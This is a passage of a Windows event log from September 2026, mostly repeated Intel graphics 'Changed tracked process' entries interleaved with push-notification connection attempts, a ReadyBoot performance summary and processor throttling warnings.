process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.341\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:48.341\t1205\tWNP Transport Layer Disconnect call initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:48.551\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.695\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.865\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.011\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.155\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.295\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.444\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.519\t1015\t\"Summary of ReadyBoot Performance:\n     Io Read Count: 80015\n     Io Read Bytes: 2961868800\n     Cache Hit Count: 68900\n     Cache Hit Bytes: 1361488896\n     Cache Hit Percentage: 86.1088545897644\n     Boot Prefetch Time (us): 5546339\n     Boot Prefetch Bytes: 1660579840\n     Boot Prefetch Read Count: 40917\n     Flags: 98\n     Sync Prefetch IO Bytes: 0\n     Sync Prefetch IO Count: 0\n     Sync Prefetch Duration (us): 1\n     Post Sync Phase Pend Count: 12\n\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:29:49.703\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.855\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.014\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.267\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.520\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.665\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.807\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.858\t1016\t\"Boot plan calculation completed in 2406 ms.\n     Boot Plan Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:29:48.432219400Z\n     Reason: System boot completion\n     Result: 0x0\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:29:50.953\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.096\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.244\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.498\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.642\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.784\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.840\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.840\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.840\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.847\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.852\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.863\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.864\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.864\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.931\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.186\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.332\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.489\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.635\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.888\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.030\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.177\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.321\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.466\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.613\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.866\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.012\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.266\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.411\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.557\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.807\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.955\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.211\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.465\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.613\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.869\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.124\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.375\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.520\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.664\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.807\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.957\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.207\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.354\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.497\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.551\t61\tIs the Battery Saver state enabled: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:57.648\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.800\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.941\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.093\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.240\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.385\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.634\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.781\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.034\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.178\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.317\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.465\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.608\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.750\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.894\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.043\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.296\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.441\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.579\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.639\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.639\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.641\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.641\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.732\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.982\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.128\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.274\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.437\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.471\t37\tThe speed of processor 5 in group 0 is being limited by system firmware. The processor has been in this reduced performance state for 71 seconds since the last report.\tWarning\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:30:01.487\t37\tThe speed of processor 9 in group 0 is being limited by system firmware. The processor has been in this reduced performance state for 71 seconds since the last report.\tWarning\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:30:01.614\t37\tThe speed of processor 17 in group 0 is being limited by system firmware. The processor has been in this reduced performance state for 71 seconds since the last report.\tWarning\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:30:01.688\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.834\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.977\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.118\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.266\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.321\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Cimwin32A, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:30:02.322\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, MS_NT_EVENTLOG_PROVIDER, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:30:02.406\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.551\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.700\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 